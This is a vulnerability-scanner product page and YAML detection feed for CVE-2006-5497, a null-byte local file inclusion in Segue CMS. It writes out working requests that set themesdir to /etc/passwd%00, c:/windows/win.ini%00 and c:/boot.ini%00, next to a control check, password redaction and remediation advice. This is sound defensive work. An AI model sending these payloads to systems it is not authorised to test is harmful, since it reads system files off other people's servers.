Segue CMS — 1 vulnerability check
noctis ships 1 vulnerability check for Segue CMS, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Segue CMS themesettings.inc.php themesdir Local File Inclusion
| CVE | CVE-2006-5497 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, http_request, match, script · highest QoD 75 |
| Feed | tests/vulnerabilities/segue-cms/CVE-2006-5497.yaml |
Tests Segue CMS 1.5.8 and earlier for the file inclusion in themes/program/themesettings.inc.php, reachable when PHP register_globals is enabled. The feed requests that script with the themesdir parameter set to /etc/passwd followed by a NUL byte (%00), or to c:/windows/win.ini and c:/boot.ini on Windows, under the web root and the usual /segue, /seguecms, /cms, /blog and /forum install paths. The NUL byte cuts off the path suffix the script appends, so the page includes the chosen file and its content in the reply confirms the inclusion (the NUL cut needs magic_quotes_gpc off and PHP older than 5.3.4). A control request for an absent random file must not return any of these files, so a server that serves the same content on every request is not reported. Only world-readable system files are read; root's password field is redacted from the evidence.
How noctis detects it
- HTTP(S) request
GET {{dir}}/themes/program/themesettings.inc.php?themesdir=/etc/passwd%00 - Checks
passwd_r.bodyfor(?m)^root:[^:\r\n]*:0:[01]:([^:\r\n]*:[^:\r\n]*:[^:\r\n]*)\r?$ - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/themes/program/themesettings.inc.php?themesdir=c:/windows/win.ini%00 - Checks
winini_r.bodyfor(?i)(; for 16-bit app support|\[fonts\]) - HTTP(S) request
GET {{dir}}/themes/program/themesettings.inc.php?themesdir=c:/boot.ini%00 - Checks
bootini_r.bodyfor(?i)\[boot loader\] - HTTP(S) request
GET {{dir}}/themes/program/themesettings.inc.php?themesdir=/etc/passwd.win.ini.boot.ini.n… - Checks
ctrl_r.bodyfor(?mi)(^root:[^:\r\n]*:0:[01]:|; for 16-bit app support|\[fonts\]|\[bo… - Checks
lin_prooffor^root:<redacted>:0:0:→ finding QoD 75: Segue CMS themesettings.inc.php themesdir Local File Inclusion (CVE-2006-5497) - Checks
win_filefor^c:/(windows/win\.ini|boot\.ini)$→ finding QoD 75: Segue CMS themesettings.inc.php themesdir Local File Inclusion (CVE-2006-5497)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2006-5497
- https://www.exploit-db.com/exploits/2600
- http://www.securityfocus.com/bid/20640
Feed source — tests/vulnerabilities/segue-cms/CVE-2006-5497.yaml
# Segue CMS themesettings.inc.php themesdir file inclusion — CVE-2006-5497
#
# Segue CMS <= 1.5.8, themes/program/themesettings.inc.php includes a path built
# from the request parameter themesdir (never initialised, so with PHP
# register_globals on the client controls it). A "%00" cuts the appended suffix
# off (magic_quotes_gpc off, PHP < 5.3.4), so any local file the web server can
# read is included: plain text files are printed, PHP files executed; with
# allow_url_include a remote URL is fetched too (the CVE's RFI).
#
# Detection (benign, read-only): GET
# <dir>/themes/program/themesettings.inc.php?themesdir=/etc/passwd%00
# and match the file CONTENT (root:...:0:[01]:); on Windows c:/windows/win.ini
# then c:/boot.ini. QoD 75 (response analysis). "%00" in the query string is
# sent verbatim by http_request.
#
# Improvements over the source NASL:
# - Absolute paths (themesdir is the whole prefix) work at any install depth;
# Windows files are tried too (the NASL's traversal_files() list is
# OS-dependent but it only matches by content/error text).
# - The NASL also reports on PHP warnings/open_basedir text alone (an error
# message is not an inclusion); the feed requires the file content.
# - Control request for an absent random file (name still contains etc/passwd,
# win.ini, boot.ini) must come back without any file signature, so a
# tarpit/honeypot that serves the file on every request is not reported
# (fail-closed: no control reply -> no finding).
# - root's password field is redacted before it can reach the finding.
#
# Ported from OpenVAS/Greenbone NVT 2008/segue_rfi.nasl (GPL-2.0-only).
uid: a87ebf74-0393-4e03-95cd-4dbaf7883abc
name: "Segue CMS themesettings.inc.php themesdir Local File Inclusion (CVE-2006-5497)"
description: |
Tests Segue CMS 1.5.8 and earlier for the file inclusion in
themes/program/themesettings.inc.php, reachable when PHP register_globals is
enabled. The feed requests that script with the themesdir parameter set to
/etc/passwd followed by a NUL byte (%00), or to c:/windows/win.ini and
c:/boot.ini on Windows, under the web root and the usual /segue, /seguecms,
/cms, /blog and /forum install paths. The NUL byte cuts off the path suffix
the script appends, so the page includes the chosen file and its content in
the reply confirms the inclusion (the NUL cut needs magic_quotes_gpc off and
PHP older than 5.3.4). A control request for an absent random file must not
return any of these files, so a server that serves the same content on every
request is not reported. Only world-readable system files are read; root's
password field is redacted from the evidence.
cves: [CVE-2006-5497]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [segue-cms, lfi, file-inclusion, file-read, register-globals, null-byte, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2006-5497"
- "https://www.exploit-db.com/exploits/2600"
- "http://www.securityfocus.com/bid/20640"
# OpenVAS/Greenbone NASL 2008/segue_rfi.nasl (GPL-2.0-only)
steps:
# ── Loop group: every following step runs once per install dir. Each pass
# resets the values it reads, so nothing is left over from the previous dir.
- id: init-passwd-r
action: set_var
var_name: passwd_r
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/segue", "/seguecms", "/cms", "/blog", "/forum"]
- id: init-lin-proof
action: set_var
var_name: lin_proof
var_value: ""
- id: init-win-file
action: set_var
var_name: win_file
var_value: ""
- id: init-winini-r
action: set_var
var_name: winini_r
var_value: {status: 0, body: ""}
- id: init-bootini-r
action: set_var
var_name: bootini_r
var_value: {status: 0, body: ""}
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {status: 0, body: ""}
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
# ── Linux: /etc/passwd ───────────────────────────────────────────────────
- id: read-passwd
action: http_request
method: GET
path: "{{dir}}/themes/program/themesettings.inc.php?themesdir=/etc/passwd%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: passwd_r
# No on_match: the raw body (root's password field) must not become evidence.
- id: passwd-content
action: match
source: passwd_r.body
pattern: "(?m)^root:[^:\\r\\n]*:0:[01]:([^:\\r\\n]*:[^:\\r\\n]*:[^:\\r\\n]*)\\r?$"
store_as: passwd_m
- id: passwd-redact
action: script
code: |
if passwd_m.matched && passwd_m.captures.len() > 0 {
"root:<redacted>:0:0:" + passwd_m.captures[0]
} else { "" }
store_as: lin_proof
# ── Windows: c:/windows/win.ini, then c:/boot.ini (older Windows) ────────
- id: read-winini
action: http_request
method: GET
path: "{{dir}}/themes/program/themesettings.inc.php?themesdir=c:/windows/win.ini%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lin_proof == "" && passwd_r.status != 0'
store_as: winini_r
- id: winini-content
action: match
source: winini_r.body
pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
condition: 'lin_proof == "" && passwd_r.status != 0'
on_match:
set_vars:
win_file: "c:/windows/win.ini"
- id: read-bootini
action: http_request
method: GET
path: "{{dir}}/themes/program/themesettings.inc.php?themesdir=c:/boot.ini%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lin_proof == "" && win_file == "" && passwd_r.status != 0'
store_as: bootini_r
- id: bootini-content
action: match
source: bootini_r.body
pattern: "(?i)\\[boot loader\\]"
condition: 'lin_proof == "" && win_file == "" && passwd_r.status != 0'
on_match:
set_vars:
win_file: "c:/boot.ini"
# ── Control: same parameter, absent random file — must NOT carry a file ──
# The absent name still contains etc/passwd, win.ini and boot.ini, so a
# honeypot that keys a fake file on those substrings answers it too.
- id: control
action: http_request
method: GET
path: "{{dir}}/themes/program/themesettings.inc.php?themesdir=/etc/passwd.win.ini.boot.ini.noctis-absent-{{oob_token}}%00"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'lin_proof != "" || win_file != ""'
store_as: ctrl_r
- id: control-content
action: match
source: ctrl_r.body
pattern: "(?mi)(^root:[^:\\r\\n]*:0:[01]:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
condition: 'lin_proof != "" || win_file != ""'
on_match:
set_vars:
ctrl_hit: true
# ── Findings (control answered and stayed clean) ─────────────────────────
- id: report-passwd
action: match
source: lin_proof
pattern: "^root:<redacted>:0:0:"
condition: "ctrl_r.status != 0 && ctrl_hit == false"
on_match:
finding:
title: "Segue CMS themesettings.inc.php themesdir Local File Inclusion (CVE-2006-5497)"
description: "An unauthenticated request to themes/program/themesettings.inc.php with themesdir=/etc/passwd%00 returned the content of /etc/passwd, which the page included in place of its theme settings file, while the same request for an absent file did not."
remediation: "Upgrade Segue CMS beyond 1.5.8, disable PHP register_globals, and run a PHP release that rejects NUL bytes in file paths (5.3.4 or later)."
confidence_delta: 0.55
qod: 75
evidence: "{{dir}}/themes/program/themesettings.inc.php?themesdir=/etc/passwd%00 returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"
stop: true
- id: report-windows
action: match
source: win_file
pattern: "^c:/(windows/win\\.ini|boot\\.ini)$"
condition: "ctrl_r.status != 0 && ctrl_hit == false"
on_match:
finding:
title: "Segue CMS themesettings.inc.php themesdir Local File Inclusion (CVE-2006-5497)"
description: "An unauthenticated request to themes/program/themesettings.inc.php with themesdir pointing at a Windows system file followed by %00 returned that file's content, which the page included in place of its theme settings file, while the same request for an absent file did not."
remediation: "Upgrade Segue CMS beyond 1.5.8, disable PHP register_globals, and run a PHP release that rejects NUL bytes in file paths (5.3.4 or later)."
confidence_delta: 0.55
qod: 75
evidence: "{{dir}}/themes/program/themesettings.inc.php?themesdir={{win_file}}%00 returned the content of {{win_file}}; control for an absent file returned no file content"
stop: true